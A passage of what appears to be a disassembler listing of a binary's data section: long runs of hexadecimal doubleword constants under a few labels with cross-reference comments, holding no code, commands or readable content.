		dd 0CD90BBD6h, 468062Ah, 0C892240Ch, 4DD10801h,	8B83C497h
		dd 144657FCh, 0AB18036Fh, 40D52E1Ch, 8DAA5341h,	6B00B96Ah
		dd 2DFAAE4Bh, 188EEB0h,	235066F8h, 41F67F43h, 0EC1E5BDCh
		dd 1A52FC42h, 49281108h, 0B4EE63Ch, 7C80F9E2h, 83A77151h
		dd 0F36F2E01h, 0CED598C8h, 232BA98Ch, 0C3017A30h, 6756373Ch
		dd 0DCF489FFh, 2BEA0177h, 0EE48B699h, 3800D78Fh, 32F84BA5h
		dd 1715DE29h, 4243C0h, 0E4330CB4h, 0C0B8D8A7h, 0B4E7DA00h
		dd 218A4CACh, 0F52E071Ah, 309F5B1Eh, 540F08D0h,	6AE54E26h
		dd 0C7426400h, 7E93C3Bh, 3E14655Ch, 6091B0B9h, 0A91DD94Ah
		dd 6D0084A1h, 2DE1528Eh, 238A00F0h, 6AE217CEh, 38005D44h
		dd 2F5B99B8h, 38629152h, 0D200A624h, 2CB20CC8h,	9F0063FDh
		dd 544AF345h, 504F0444h, 938E95Eh, 0B4C2F195h, 6403440h
		dd 5A90BA00h, 24C11680h, 470700BCh, 0D35198B0h,	0CB1D0556h
		dd 740A879Dh, 0D08EA4D8h, 394A4624h, 0E7913010h, 0F98F5E19h
		dd 0C7988A00h, 2E2D27CDh, 34FF03FCh, 3F7638FAh,	0B5DB2900h
		dd 7326B1CEh, 0AA89003Dh, 0C641FF55h, 94224ED9h, 682E00D6h
		dd 0D439C0FCh, 0E0343DDh, 0F709F435h, 5836D028h, 8E336002h
		dd 0C350706Ch, 89EF0E00h, 3CB5BD97h, 40533C39h,	0C35BBF1Eh
		dd 584FCDDh, 6104CCC3h,	0BABD2331h, 64AAD680h, 6970DCh
		dd 1E45829h, 3DAD08A3h,	2142E100h, 36B1722Ah, 7C4E041Eh
		dd 0A01D9F43h, 343A19D4h, 96D28059h, 8B51FACBh,	88C102C4h
		dd 9137A9B6h, 2A443880h, 0F4F3AA81h, 41DD1C9Eh,	3621E1D8h
		dd 0C87F0018h, 5FB1A3A2h, 7916C15Ah, 890E1C02h,	9D698083h
		dd 0E5B0F5Ch, 37267E1Ah, 0A1003C9Fh, 0D08CA049h, 670EEC4Bh
		dd 40BD647Bh, 332EC014h, 119900F0h, 0A9F1746Ah,	700591Ch
		dd 30EE7DBAh, 53C49Dh, 7091EFBCh, 772AE827h, 827FB101h
		dd 0ED0DFFCFh, 485ACD0h, 986D6CC9h, 81BDC063h, 8DF8B6Bh
		dd 542021F7h, 58626Dh, 0D2902740h, 574CA29Eh, 76DDD80Ch
		dd 40A018DEh, 0E80E8BC4h, 98828459h, 1926540h, 9BECF60Ah
		dd 0EB04B0ABh, 215B0830h, 0A9AC3h, 0BBF17756h, 42C64907h
		dd 0D16C5F19h, 8D82E50h, 2768C0A1h, 61E9860Fh, 0D0C6AC4Fh
		dd 0AFF0A0h, 408742F7h,	48EC6208h, 3061F03Ah, 0FF842190h
		dd 6DAE0142h, 0EDCE21E0h, 0A75BC023h, 837FB93Ch
dword_544450	dd 0D9613B44h, 0CF3101C5h, 0E79A8606h, 0CC119DADh, 23522DC3h
					; DATA XREF: ___:off_43D3C4o
		dd 8DC3B599h, 0B50830C1h, 2DB2ED21h, 3117F100h,	5BB96D9Dh
		dd 8F410027h, 0A9B81805h, 0C77CB2CFh, 0C764C0A7h, 0D6B2B860h
		dd 745EA500h, 0BDF13DAAh, 81A160E7h, 3E86CA6Dh,	9F0F687Bh
		dd 347437AAh, 7E9700A0h, 4D038C48h, 803F14CEh, 71F8D4C2h
		dd 4CEB0B8Ch, 0C45CB44Fh, 8678C420h, 10E05830h,	0A6C42h
		dd 98243EFCh, 0D87A4E6Fh, 184D971Fh, 48B42080h,	0B8B394h
		dd 0DD381E9Eh, 678E15B5h, 97F6AA00h, 0C52F7E7Ch, 0A00B0076h
		dd 0DD650589h, 0C80094CEh, 0BF8EA223h, 0E92F28h, 0E231F0ECh
		dd 7468DAFAh, 0D0824203h, 0E89A0A37h, 35BB36h, 1399A672h
		dd 0D9E6228Eh, 46B52C00h, 0EBA35A2Dh, 72F8C8h, 0D4B74442h
		dd 8BB3C957h, 0AA213700h, 450ABC18h, 0CFCD01EEh, 9F102C0Eh
		dd 9BE8D702h, 0B6F0F920h, 1BF70D03h, 4258459Ah,	71FC0430h
		dd 107A4931h, 67FCAA14h, 3170B2h, 2D0B8417h, 4483C8F8h
		dd 55C37100h, 0ED145F9Dh, 6C29C44Eh, 0D9D15D15h, 6A1CDF21h
		dd 38216110h, 90FDB608h, 4F3588ABh, 1D788E90h, 56872260h
		dd 60F6A110h, 74C4903Bh, 9351FF64h, 12049221h, 0F014827Ch
		dd 516F26F4h, 3973C600h, 0A791788Fh, 66FA00D9h,	0F58B646Ah
		dd 3E00B5DAh, 0AF48081Ch, 0E19287h, 89B6F15Ah, 52F49E2h
		dd 0D3449600h, 0A6B7037Ch, 0CAC10070h, 0A3128D28h, 0B13C1BC5h
		dd 0DE8B00B0h, 0E4F9A2F1h, 1A270E51h, 4F00B391h, 8CC375B6h
		dd 822CF375h, 0DD0E51E6h, 574E80A0h, 3EAA5Bh, 7011E4D4h
		dd 7572F994h, 0C02D7300h, 0D1B1EE9Dh, 98AC6078h, 3886141h
		dd 67A8EF00h, 5160DD29h, 8043010Dh, 33485E87h, 40ED216Fh
		dd 32721E77h, 5B155300h, 9410E51Bh, 12843F92h, 9644F58Fh
		dd 0F258A680h, 0F404985Ch, 45594A7Bh, 56531890h, 0C6A0001Bh
		dd 6B3F5503h, 0E700A1EAh, 0C149D25Ah, 67661653h, 0C07F6024h
		dd 63EFEC0Ah, 99128500h, 5032FF61h, 82963F24h, 273E3800h
		dd 0BC152CDAh, 71365418h, 0ED8C69h, 0F713604Dh,	0F47A7508h
		dd 7B3D5700h, 23B4DF7Ch, 0F81F05EAh, 0C05B9D91h, 404551ECh
		dd 2F2C0D00h, 0CC6E06FBh, 0ADC600B7h, 0CCD7B8Dh, 55003D4Eh
		dd 5B660720h, 1644D17h,	8906FC54h, 809105DFh, 0AC46EFC6h
		dd 0C77C22Ch, 0C30DFD8Fh, 25003558h, 56A61EF3h,	3EE6ABh
		dd 0A7EC13EDh, 9EC74032h, 6A801900h, 0F34873C0h, 5BCB0015h
		dd 0F07B628Fh, 1D00F438h, 67E2DBDDh, 158E0Ch, 218D6AC4h
		dd 2B8CD7B7h, 0ADC3F00Bh, 0E45180EEh, 6979DAh, 9E9C73B9h
		dd 37B3112Ch, 0AFDCF500h, 43F6534Fh, 481D0093h,	0DB55F0FBh
		dd 0E900AA7Eh, 4B4DDF42h, 28BDFC85h, 0A0B3F5B0h, 126ED7F8h
		dd 571203h, 0CE438608h,	0B00037BAh, 0BDE476Bh, 0E045A828h
		dd 9CE04Dh, 26D5554h, 84E3CF38h, 4EF5B500h, 687C26E1h
		dd 0D8781Dh, 0ABB39764h, 5CC7668Bh, 763C5Ch, 1269DBFh
		dd 12E9F49Ch, 307C9620h, 0CC84F1Ch, 1E170A01h, 0CB9DCA9Bh
		dd 0D66C24h, 0B4907788h, 17619366h, 0AFB5F70Bh,	63BA8F62h
		dd 0F88F37A6h, 51A2C4h,	0D88B131Dh, 892A77ABh, 3CF70A09h
		dd 7A70A08Ah, 1405ACDFh, 0DCF01F90h, 25CD6500h,	0D55B6BBEh
		dd 0CA29C000h, 7C6E73CEh, 0BDE84Eh, 0E12A0D39h,	50C3E75Ch
		dd 5FEB10C0h, 945365h, 32AAD3F7h, 0E2EADC87h, 76B94B00h
		dd 1C2A9A55h, 699E2435h, 16D7122Ch, 23D3000Eh, 7FAFB6A4h
		dd 0D998610Eh, 5A75C0F8h, 414084h, 0C99B66E8h, 87F75228h
		dd 0F5161500h, 964C0BD3h, 0CBA50038h, 1FFAFF51h, 0D00E448h
		dd 0F85795ADh, 5EDBE6h,	209C6F1h, 9FD76346h, 203E9D01h
		dd 3AD582DDh, 8940020h,	41386A53h, 0C06B117Dh, 26201F4Eh
		dd 84D500F8h, 0FD46BD91h, 0D10243FAh, 816CBE48h, 0B3C8901Ch
		dd 56E3095Ch, 82020E0h,	5BBA96D8h, 34FB6700h, 5DB4FE42h
		dd 0AE9B1D45h, 1755C035h, 0E964A650h, 97D93100h, 9A7498B4h
		dd 8657396Fh, 0E372F88Bh, 0B24C7020h, 0C70036A9h, 575098DBh
		dd 0E09A8B0Ch, 0BCA024ECh, 4F502D4h, 4160E8D2h,	1700F686h
		dd 692A5470h, 1E41A36h,	5673E633h, 0DC4FA0D1h, 0EA3F3010h
		dd 0F2AB80C6h, 84EB2076h, 63790241h, 0B7381645h, 0A97B0C8h
		dd 0EEE56E0Ch, 7507B8FDh, 4C48186Fh, 0ED1910FFh, 0BE122790h
		dd 7400FB1Bh, 0D19558C6h, 14E500D4h, 0A45D2565h, 3000509Eh
		dd 0C52DC86h, 71E4C1h, 0B1CCB0D5h, 0FF43A424h, 0D600DF7Ah
		dd 0BBDD95F5h, 13205C25h, 0E89C7294h, 0CEDE0092h, 371E28B3h
		dd 0D0334CE5h, 4FF87A00h, 30D44A8Bh, 0C503AC90h, 0FD65F693h
		dd 0A482BC81h, 12DC469Fh, 2E6BD3h, 6E2B4DD4h, 0E6F088F5h
		dd 71280F00h, 0AD5FBBD0h, 172500C3h, 198DB62Fh,	0E6B0E549h
		dd 54857A00h, 25014C32h, 906F794Ah, 0CA2C06D8h,	8049BBADh
		dd 0F978A605h, 0E0432747h, 0ACD2A56Bh, 0A75CC480h, 0E7FB0054h
		dd 95BF5E70h, 2A05BEAFh, 849C0B88h, 803D540Eh, 594EF101h
		dd 0D2B1439h, 4601F4A2h, 885F6515h, 3FDC0081h, 5D0501C1h
		dd 411644CDh, 75FC3096h, 56F3DB18h, 3191380h, 4D6F0FA2h
		dd 38007976h, 366BDA1Fh, 9A77DF3h, 8EA2D1B2h, 7CD2E800h
		dd 0D50026ADh, 96AF7922h, 77A03AFFh, 0BD820966h, 1C00289Dh
		dd 0E4F66A43h, 250BF47Dh, 8714A3D4h, 51B0AFF7h,	1F05EAE1h
		dd 40031286h, 7D1927F9h, 8401DA34h, 560B3649h, 0A5CCAC7Bh
		dd 4E3E00DCh, 0DB9ED3C3h, 391320A2h, 58005AEFh,	2FC0E0AAh
		dd 5B6C0FADh, 801EA6CFh, 553874F1h, 0F5004519h,	6730C42h
		dd 0C2FBECh, 0A69E2BEEh, 1B9AF26Bh, 0ED00CC7Ch,	0C39F6FE4h
		dd 14409651h, 0CBC93678h, 1F085F00h, 1A92293h, 81ED333Ah
		dd 5836139Eh, 0A1C8C362h, 0A45250A6h, 0A0B995h,	314BF0AFh
		dd 37009102h, 0B40877ECh, 1B34DF9h, 69197026h, 64F3C52Fh
		dd 9C005BF8h, 10E7E0E2h, 36586Dh, 5E99F0E1h, 41171DC9h
		dd 2871FE26h, 5FD509BCh, 62E4A584h, 12A098DCh, 91DF5Ah
		dd 0F8D1C7C3h, 0E200EF7Bh, 0BE1E16F7h, 0C1EC5193h, 0D6A3CD31h
		dd 0A838343Dh, 8100DE70h, 37D39D0h, 90202810h, 0F6AE0CDh
		dd 0DA6622B7h, 305C98C3h, 8C1072C0h, 48241EF8h,	4046C62h
		dd 8C80D3C6h, 0D4BA03h,	0D4EE7D2h, 0A596E38Dh, 205DFB00h
		dd 5871273Fh, 4191300Fh, 84E28888h, 7B2AF707h, 470C4A6h
		dd 0CF07667Dh, 96A00F98h, 650CA9Ch, 0A5003090h,	0A06578E3h
		dd 2EBEC93Dh, 92A834CDh, 0BF90200Fh, 6C01F139h,	9E2C6E15h
		dd 6C205FC3h, 2950099Ah, 0FC803E4Fh, 0CD01C1DEh, 81820709h
		dd 0C5C8243Bh, 2455A8C8h, 0ACB70Bh, 5F076AEDh, 0A100D4E3h
		dd 0EE78814Ch, 2EA7A47Dh, 1E4870Fh, 35596F3Bh, 1C6DF496h
		dd 0B3D0B21Bh, 0C9F80098h, 0B978D1E0h, 19006151h, 94CC8C36h
		dd 1D25A4h, 0AC9E08DFh,	0B66F0C6h, 595FFA1Ch, 0BED09840h
		dd 13AF1AEBh, 1B73A36h,	7BA178F7h, 71F0209Eh, 27583554h
		dd 64B940h, 7FE34F77h, 0E2432FA6h, 0D6FE51B8h, 94EF230Fh
		dd 7790FFEh, 10D056FCh,	0EBA435h, 19E39D8Fh, 0A798B11Dh
		dd 625C38h, 0AEFB7E14h,	0FE3F36E4h, 0F397006Dh,	8FBAC44Eh
		dd 0ED0BB4C8h, 0E131B8h, 62519BF3h, 0DB9400B1h,	0DE50857Fh
		dd 555C4346h, 9F241FFCh, 0CA11B400h, 1DD27CFFh,	3CA36549h
		dd 881B0700h, 76DAA79Bh, 736B3F05h, 3480091Dh, 0ABF06Eh
		dd 0B5E02785h, 0F20F5120h
		dd 9463F0A2h, 8EF3D8F0h, 0E3A70600h, 322F0297h,	878214E8h
		dd 0CE00FC62h, 3DA1918Dh, 0E44CD5E0h, 846A0F2Eh, 0DBD6A079h
		dd 518E8D3Ah, 992188FEh, 14046DCCh, 0C8DE8976h,	3C4A2Eh
		dd 1071B514h, 8007BC0h,	0F9509121h, 5F897h, 6801285Ch
		dd 39C2F149h, 72BC9603h, 0B8F08A4Fh, 4D1DF4h, 5ABD5623h
		dd 5E281285h, 51018005h, 2890DEBAh, 4AA2C1h, 84F55896h
		dd 0E85CCABh, 67305D60h, 7B945F0Fh, 0EF8800CEh,	5014AA71h
		dd 0FA003BF6h, 2EB6849Bh, 3BA39ADBh, 0E6808590h, 727C45B9h
		dd 0D2006138h, 0CD1C0D3Fh, 0EED7BAh, 7A0DF39h, 0B848F6B3h
		dd 1D1B7301h, 5B8A9F38h, 0EEC8032Fh, 110F6797h,	0F84B0B2h
		dd 0EAECA0DFh, 758C8281h, 1D2B9026h, 415EBA6Bh,	234F2B90h
		dd 0C73AE01Fh, 0D2063Eh, 4A224C36h, 136D24h, 0ED31EA9h
		dd 74936EDCh, 0A80D500h, 39853D02h, 0C67300CEh,	6ABCB8Bh
		dd 26005AF1h, 0F3253748h, 905440Eh, 4DA40882h, 0AA4FB900h
		dd 6A009440h, 0ADF1E6FFh, 7B14A6h, 3F5A08E4h, 45AB3BC0h
		dd 0A737BC00h, 94CAAE75h, 6AB002h, 4169AAA4h, 0BEF7E30Fh
		dd 21B73Eh, 43653392h, 940893h,	0F05EAA27h, 1B70A68Fh
		dd 1D22F700h, 50AB0F32h, 0D8FF1F86h, 8E044048h,	0B816178Dh
		dd 0DD008CBAh, 6754A411h, 24539578h, 62D43C72h,	0A800AE6Bh
		dd 7FC3B3h, 0F2A6DF42h,	6CBEEE79h, 0C5CC641Fh, 0A3040800h
		dd 263B3CCDh, 20B4416Dh, 1DF72A6h, 0B877D0D8h, 24894872h
		dd 0D5001474h, 5DE6EFB2h, 233192h, 0C7CC7316h, 0F6FD8EDAh
		dd 0E58AED01h, 25078BB0h, 1D9E80F0h, 0C09752C2h, 0B3DED750h
		dd 6A09C1F2h, 80387A36h, 0F3C7FCA3h, 10A7D9Dh, 602822D1h
		dd 0F40DE2CFh, 0EB007707h, 9909C188h, 907141BAh, 0EAAC1318h
		dd 217800D6h, 5205C2C7h, 8E8358h, 0B3269111h, 0EED81B61h
		dd 0C60F0559h, 90294375h, 0B4908268h, 0FD0D80h,	0FEA0CEA1h
		dd 0E00C258Ch, 98B9B600h, 6482BC9Eh, 4A1E00DFh,	0C4B827B0h
		dd 7078C6FEh, 558058h, 0C9E415F4h, 3A69C826h, 0A998C3E5h
		dd 883CA083h, 71665706h, 24988A46h, 80408464h, 6D2D5B3Ah
		dd 7D195A83h, 0F690E9ABh, 5E80C9D1h, 17262B8Ah,	0E6076976h
		dd 24134C8Bh, 0E5B79DD7h, 0F95C2770h, 21F60388h, 7CBF8928h
		dd 80C90DA9h, 0EC6DD039h, 909702DBh, 0BC42057Ah, 92472A54h
		dd 86002864h, 59797EBDh, 0F23CD897h, 8188111Eh,	0E5C15E0h
		dd 282C04h, 0F38BBCC5h,	60736466h, 2E4D3175h, 0FB047B6Dh
		dd 0F0ECC4A2h, 594198C0h, 809E241Fh, 20519354h,	200935FCh
		dd 9C287F04h, 0E185ACC9h, 83AF3801h, 23D4D5E4h,	441E5D02h
		dd 770A7B00h, 7489FB9Fh, 37783119h
		db 50h,	97h
word_544F42	dw 3860h		; DATA XREF: ___:off_435E00o
		dd 6F0748D2h, 8E034600h, 2B70F7FAh, 0CA9E8700h,	0C105E8E7h
		dd 0DC40008Dh, 42AD9515h, 0FD0F0F07h, 0A03575C4h, 0A8BBE621h
		dd 0B69824DDh, 0EBB3004Fh, 619326CBh, 0E1A3D80Eh, 0B0AD64C0h
		dd 5F6A480h, 831E007Ch,	0C2B1509Bh, 1A002CA7h, 9AE9552Bh
		dd 97DA52h, 2E641366h, 98E53B5Ah, 0FC7B8E1Fh, 0D606FFC0h
		dd 1260F8h, 5494B2BDh, 9F61F620h, 0CCFA5Ch, 59316316h
		dd 0EEA2A1A8h, 13DE091Bh, 0A8806D88h, 0E14D7DEFh, 0C0D91202h
		dd 80BFEC8Eh, 0D51C81E4h, 74ED07D4h, 203F05C5h,	0A0C87033h
		dd 0D3E219E2h, 809A7C3Bh, 0D7E2E4F2h, 1F5DBC0Eh, 8635B43Dh
		dd 70A326CFh, 0C6A8CB02h, 0C0108D54h, 2455C8FCh, 0E02B61h
		dd 349FFD4Ch, 6C12C5BFh, 0EC80FEA7h, 7B2395Dh, 28D77F19h
		dd 0E94A5093h, 0FF739480h, 84C0DB00h, 0D1384EEBh, 8DB70081h
		dd 250F2CCBh, 9B00D413h, 0F4487F89h, 390EBFh, 0B6C80218h
		dd 36D9171Dh, 704F994Eh, 25DE80AAh, 3028EF9h, 97BA2878h
		dd 9E80E841h, 0CD092352h, 5AAAD8h, 0C6462B29h, 15D89DB2h
		dd 0D74D1300h, 41612AA1h, 7BFD0023h, 5586F489h,	480E1F25h
		dd 4B0CA83Bh, 0E78C00A2h, 1B6D5Fh, 0AAA08A6Fh, 1A30548Dh
		dd 95D87950h, 0BAA99900h, 8240DDFh, 554F8Eh, 3E516D94h
		dd 3817F913h, 0BBFC35h,	235E6C74h, 8707CE78h, 1552A719h
		dd 0DC9B1490h, 0E68BF225h, 53D11721h, 0BB890198h, 0F53DFCFDh
		dd 6A4930E4h, 4C242900h, 0F9217A01h, 8D553D61h,	0D105B080h
		dd 0E8BE8E74h, 0ED54E300h, 16C6B83Ah, 6E0075Bh,	116E877Fh
		dd 0C0D6C028h, 0FE0B0CC5h, 8A1BDCB3h, 3882E451h, 0E023F6A9h
		dd 3A7A0F8Eh, 15BF54DBh, 466D99Dh, 0C0538C92h, 39B84A99h
		dd 571FC090h, 0D6565CEFh, 0C4060400h, 0B73A4Eh,	5EC7EB30h
		dd 0C528A88Bh, 48CD8039h, 0C0828F50h, 3604634Fh, 161FA75h
		dd 9DE9FCA6h, 20517657h, 0B0B2BC0h, 0CAA901E6h,	0F46864ACh
		dd 6AF4F2h, 6DC8812Ah, 38145130h, 0AFAD070Eh, 0F0005215h
		dd 85FEC517h, 97F6009Fh, 23A64061h, 0EB00DDADh,	704DAE1Fh
		dd 5F5611h, 0CE478253h,	386017E2h, 9CDD500Eh, 72E5809Eh
		dd 1FC9842Ch, 806D7AC0h, 76F03A54h, 0F403900Eh,	0E79FD307h
		dd 8AE0D8BEh, 127C28h, 702C2DF2h, 0CD1860B5h, 773CF506h
		dd 1C85BDAh, 8D2EC581h,	0F0D41CFBh, 4548B695h, 0ECAB007Ch
		dd 9F183D5Fh, 35D4ED39h, 0E97823h, 0AF9953A8h, 0FB1D1F58h
		dd 4C70FC00h, 7E8CD582h, 94B34832h, 25CA5502h, 0D4683A66h
		dd 0DC967548h, 0AE652000h, 76985908h, 71150014h, 6BB51109h
		dd 0B8FCCE1Eh, 0C63FE507h, 67028203h, 8088C248h, 98BB5D2Ch
		dd 2D4300B3h, 30067DA4h, 0A605928Eh, 40BCEDC8h,	2F63D00Eh
		dd 0B73B8157h, 52CC32E3h, 24A3174Eh, 93984EEFh,	0C16CD9C1h
		dd 502D5Ch, 3903C38Eh, 0F4693210h, 0BCA2A065h, 0DA4B12A9h
		dd 0F040050h, 4EC72AD1h, 0D8006278h, 6B909E39h,	20753Bh
		dd 18F6508Bh, 6A96434Bh, 58C5F803h, 0E0820454h,	0B43E3Bh
		dd 0B320F66h, 0CC56156Dh, 68630207h, 0E5C0374Dh, 0E4EDEFE2h
		dd 1E9A001Bh, 0CD76DB6h, 0FC057788h, 906E7871h,	2BCB09h
		dd 0E225EE94h, 69670774h, 117DAC1Bh, 0E07A3527h, 810053DBh
		dd 6C2AB45Ch, 266A7B3Dh, 49CB501h, 0E0D81268h, 8809C98Ch
		dd 8E1FA2D3h, 8DB487C8h, 5F6040CBh, 9C870007h, 0F3A4C4E6h
		dd 0DA18ECB6h, 7921746Bh, 0C97C00F1h, 163D0D90h, 0B4B0E66Ah
		dd 0DD238300h, 8545EBE8h, 5D8D0012h, 7A546E33h,	8405F258h
		dd 4D89307Bh, 0BCB3DCC0h, 0A5BFA070h, 0DD1F1685h, 34D0405Ah
		dd 8BF3C8EBh, 0A0DA5902h, 52B3FBB6h, 80237624h,	93006B70h
		dd 0E3FE219Fh, 0FF0B8Ah, 25D1E827h, 62F1EC17h
dword_545350	dd 247A22Fh, 226B4520h,	0E481B7A5h, 608EF8CFh, 0BC9038F0h
					; DATA XREF: ___:off_43D384o
		dd 11784F00h, 0A7BB017Ch, 3DFF7A4Ah, 64488843h,	0AD2E0772h
		dd 450E6B6Dh, 0A4A8C020h, 0B4B827A5h, 0EED75104h, 0A5C03B4Dh
		dd 0F71D50Dh, 0ADC9CD93h, 96097587h, 0CC004815h, 6E0AA481h
		dd 0F7956Ch, 570E54E9h,	8764C0B5h, 8900C898h, 0BD36C781h
		dd 678223B1h, 22D16C26h, 0CCE386C2h, 0BF7859F8h, 44621C00h
		dd 63CFEFFh, 0F8909034h, 0B5961C5Fh, 0B0F18FB2h, 32505480h
		dd 30092215h, 5086D3FEh, 71E7007Ch, 51FC856Dh, 0EF5EA92Ch
		dd 0B73F2800h, 0BC9F4ABBh, 93E68020h, 0FF82F84Fh, 0F073F600h
		dd 54C79D81h, 17475B8h,	1FFA46FDh, 0DC2C9B97h, 0D907251Ch
		dd 3540446Eh, 40572E22h, 46333A4h, 3C5CB7BEh, 5ECCB0A9h
		dd 27211D00h, 7698ACD0h, 8C515867h, 0A41C2826h,	58D20664h
		dd 0FC001181h, 0E51E4B8Fh, 6F0BA3h, 0DCECCF66h,	40772CE1h
		dd 0C664E21Ch, 4B8E3680h, 17599FF3h, 8015C008h,	186E2700h
		dd 0AC3BD828h, 962BC5Ch, 8D43792h, 142A9314h, 0C680D542h
		dd 9DC01118h, 8963E0A0h, 3055D73Fh, 92C79851h, 4A740044h
		dd 99E0B9CDh, 12006CB5h, 3208AA2Fh, 3323EEh, 730B6D96h
		dd 6A7E1EE5h, 0E349142Eh, 7F00AD1Eh, 0EC4DF028h, 0B5970072h
		dd 50EE5E2Ch, 31001614h, 0DC295410h, 5E1D663h, 0F8B72A91h
		dd 73E000F5h, 44D02F8Ah, 1D6DF80h, 4BBF2ADBh, 702BBE67h
		dd 981F2F3Fh, 13801F63h, 0E87DA210h, 94D82E34h,	1A6500C0h
		dd 8CBB772Fh, 0EF9E8A8h, 1560A402h, 80564DE0h, 9E8393E0h
		dd 81395C6h, 9FD22D0h, 29076800h, 0F671108Eh, 32F30D7Eh
		dd 6078BE37h, 6F165A0Ch, 90424276h, 0E07FE27Eh,	0E143D71h
		dd 69D2A597h, 0F27B871Dh, 4BCC9081h, 0E674343Eh, 5FEEFA0Fh
		dd 622CC07Ch, 2A6F7h, 1692B366h, 8683D86Fh, 0E377BE00h
		dd 4D0D8ED6h, 29B50EFAh, 92004C48h, 0B145641Bh,	0F0AE9B00h
		dd 40FC0791h, 810B00D8h, 687A2BC4h, 0E1078F4Ah,	722932D6h
		dd 0E8CC009Bh, 4595C75h, 0C33EAA7Ch, 170AC01Ch,	8400D371h
		dd 0ADFE2E41h, 7DCB4753h, 0FC697A91h, 246FEA2Dh, 8124BD06h
		dd 2B7F4367h, 0EB47CCDAh, 8BC0873Fh, 8BEC3BACh,	0B688C86Ah
		dd 0B10B005Bh, 88B0A26Dh, 6800E160h, 340E1149h,	284CDB04h
		dd 9FE80FAh, 1671D9A4h,	0DDBA98A1h, 31507454h, 0C401C2F8h
		dd 2DAEE01Ch, 1887CDA8h, 8376C8D1h, 113CC0EAh, 8C7876B8h
		dd 34299100h, 3A2F3F46h, 0A33900F5h, 0FD6696D9h, 8903C687h
		dd 3CCF893h, 6D180068h,	91169BB8h, 3D002274h, 0E0D1391Eh
		dd 0E954C276h, 0F4C14C40h, 1590420h, 0BEA70B4Eh, 0ABC07F00h
		dd 0B419CCh, 23520289h,	353F104Dh, 25597E0Eh, 95C2A633h
		dd 3B580BA9h, 0C0A338D5h, 0D8314CC4h, 0CABAE0C8h, 38018331h
		dd 14423915h, 92AA0054h, 9C0022D0h, 7F4F5569h, 0BDC78Ch
		dd 44CFB818h, 51E1C0D8h, 8056343Dh, 0DC789BD5h,	14C35E7h
		dd 50E31528h, 0C836372Ah, 0D62EF320h, 88182C47h, 7AF8914h
		dd 0C5C67D23h, 0F7A94004h, 0B21F7642h, 48804770h, 770826A8h
		dd 0C31D2CF8h, 0E029007Bh, 0D4B87AAh, 312BC500h, 22CF2A6h
		dd 7E6C00E3h, 2D106A27h, 0C5006255h, 52A4332h, 585A22FCh
		dd 0B1007D8Dh, 0BAF1AAE6h, 0DD12441Ah, 8C005B88h, 4AB794D5h
		dd 6A5E0082h, 0A0936847h, 0C800493Ch, 0FD370FCAh, 5A1135Dh
		dd 0EF582B14h, 0A9CD132h, 0AD7DF865h, 0E00CCA28h, 814C235h
		dd 0F610B4h, 0B7977D26h, 4560D88Fh, 0CD335C00h,	14C94C21h
		dd 89D92417h, 4FD10052h, 0B26F5349h, 0F5BE9100h, 0F2377BD8h
		dd 0ADB725BCh, 38454000h, 0F703C7E5h, 3976E8D2h, 0A37783D9h
		dd 1B21003Ch, 0A0D7C7EDh, 0F5B8A174h, 0EE56F901h, 43C93F90h
		dd 0EF5E6080h, 7D8ABC59h, 95715B1Eh, 5E90349Ah,	0BDC88084h
		dd 564C57DBh, 0C1E49905h, 8048C965h, 7D22C0EEh,	2446CAC0h
		dd 3073A22h, 55547D2Ch,	0E40E46D0h, 152F185Fh, 0CE8F886Bh
		dd 74D0A128h, 29A60B1Ah, 1FAFC011h, 20100F89h, 7E1FCA06h
		dd 0D40B1A00h, 0E8023EDEh, 684EE300h, 0B80EECADh, 0C95F0057h
		dd 0BC50249Eh, 7E006551h, 0E1E406C5h, 0E36A28Dh, 0B2D65D3Fh
		dd 4D150220h, 4001213Ch, 781A38F0h, 8DC8EF7Ch, 6C70DAh
		dd 8CF22D89h, 573764FBh, 0F9015C74h, 0C63E617Eh, 0C540DAA9h
		dd 0CC28028Ah, 43216B08h, 2EC63603h, 0E812DEB0h, 180F756h
		dd 0E994B810h, 6035218Ch, 0EAF686A4h, 5A5C2BF0h, 0EB2207F5h
		dd 61F0E86Ch, 0CD11103h, 584D84B9h, 246F2F10h, 8BF0A060h
		dd 0C45F81D5h, 0F3EFD20h, 0EC00307Fh, 521018C7h, 0E760EFCEh
		dd 5074ED28h, 0DF82806Dh, 0A1A8676Fh, 0CDC33C1Ch, 30F7FAE8h
		dd 0C4908E5Fh, 440191F8h, 51F94EF6h, 718033EEh,	8D56B9EDh
		dd 53008664h, 8A92D1Bh,	0D9EFE7h, 0A7DE9CC6h, 50567555h
		dd 92003E7Ch, 9FCD97DDh, 0F1A9BFh, 8FE9C7C5h, 0CC1902A3h
		dd 2EF27F00h, 577FFE0h,	7EE20070h, 7A033339h, 0C0F0A43Eh
		dd 0F6D7CC0Dh, 40C1079h, 84D11F33h, 468C013Fh, 0F8A6D996h
		dd 380F4110h, 20BCAEE9h, 5C936C78h, 0AC81CF7h, 0A79F8775h
		dd 1720B018h, 8F09DC28h, 748BC83h, 1313419Fh, 0CB9DD3EAh
		dd 0F236F84Fh, 0C77E6Ah, 7B887730h, 0AC17E675h,	0FF203Bh
		dd 446AD1AEh, 26AFF7ABh, 6B7B0Fh, 289B171Bh, 2203CD53h
		dd 0D90B85B6h, 2D83F8F8h, 43A0002Fh, 0CE844726h, 0C400A55Fh
		dd 0FED11C36h, 132F4E74h, 798B240h, 0C152F14Fh,	0C870A0ECh
		dd 23006D15h, 9ADB270Eh, 6A207Eh, 0BB1EB1BCh, 3D99C24Ch
		dd 1AED150Eh, 0DA35E44Ah, 0E32E4F83h, 4ED198C8h, 0CCCF0F16h
		dd 80BED00Fh, 18B92913h, 3C03A57Bh, 0A3F0BC71h,	0E3ADB888h
		dd 0ED654C48h, 1D56C200h, 9AEECF4Dh, 0A25F0A00h, 50BF2763h
		dd 66FD00E4h, 7D73F4E8h, 0C000BA2Ah, 7A567ED7h,	7F05BF6Fh
		dd 96162A31h, 7D820EDCh, 2FE0177Fh, 0F79CB3DAh,	0EE9F151Dh
		dd 8C87835Dh, 8620B401h, 1503243Bh, 0F8AB73AEh,	77C7E401h
		dd 0E875B659h, 2C00CF4Ah, 0B11D6680h, 71C9C85h,	1092CB57h
		dd 50D210E5h, 53300F1Bh, 4AE321FEh, 9B2318F2h, 658610C4h
		dd 2CEF0900h, 0EE400B94h, 578D000Ah, 16B3AFB4h,	1200FA19h
		dd 1D1051ACh, 0D1A06Fh,	0F75AE4A7h, 9506EDB0h, 0A8838C00h
		dd 1F91E05h, 748E0044h,	0CC73BDEFh, 0C038F449h,	8F3116F6h
